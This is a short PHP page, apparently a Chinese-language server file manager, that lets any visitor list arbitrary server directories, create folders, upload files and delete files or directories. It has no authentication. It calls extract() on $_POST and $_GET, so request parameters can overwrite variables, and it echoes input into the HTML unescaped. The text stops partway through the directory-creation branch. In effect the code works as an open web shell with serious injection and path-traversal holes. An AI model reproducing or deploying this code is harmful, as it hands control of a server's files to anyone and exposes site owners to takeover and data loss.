<?php
extract($_POST);
extract($_GET);
?>
<html>
<head>
<title>查看服务器端目录和文件</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="<?php echo $_SERVER[PHP_SELF]; ?>">
<font color="#006633">输入目录名: </font>
<input type="text" name="InputDirRoot" value="<?=$InputDirRoot?>">
<input type="submit" name="Submit" value="查看该目录内容">
</form>
<form name="form1" method="post" action="<?php echo $_SERVER[PHP_SELF]; ?>">
<input type=hidden name="method" value="createdir">
<font color="#006633">输入目录名: </font>
<input type="text" name="InputDir" value="<?=$InputDirRoot?>">
<input type="submit" name="Submit" value="建立目录">
</form>
<form name="form1" method="post" action="<?php echo $_SERVER[PHP_SELF]; ?>" enctype="multipart/form-data">
<input type=hidden name="method" value="uploadfile">
<font color="#006633">上传目录名: </font>
<input type="text" name="InputDir" value="<?=$InputDirRoot?>">
<font color="#006633">请选择文件: </font>
<input type="file" name="UploadFile">
<input type="submit" name="Submit" value="上传文件">
</form>
<form name="form1" method="post" action="<?php echo $_SERVER[PHP_SELF]; ?>">
<input type=hidden name="method" value="drop">
<font color="#006633">请输入: </font>
<input type="text" name="Info" value="<?=$InputDirRoot?>">
<input type="submit" name="Submit" value="删除文件/目录">
</form>
<hr>
<?php
$n = 0;
if (isset($InputDirRoot))
{
$handle=opendir($InputDirRoot);
echo "目录列表:<font color=#FF0000>".$InputDirRoot."</font><br><hr>";
while ($file = readdir($handle))
{
$n ++;
if (is_dir($InputDirRoot."/".$file))
$file = "<a href=\"$_SERVER[PHP_SELF]?InputDirRoot=$InputDirRoot/$file\"><font color=#006600>[".$file."]</font></a>";
else
$file = "<a href=\"typefile.php?filename=$InputDirRoot/$file\" target=_blank><font color=#993300>".$file."</font></a>";
echo " ".$file."<br>";
}
closedir($handle);
}
if(isset($method) && isset($InputDir) && strcmp($method,"createdir")==0){//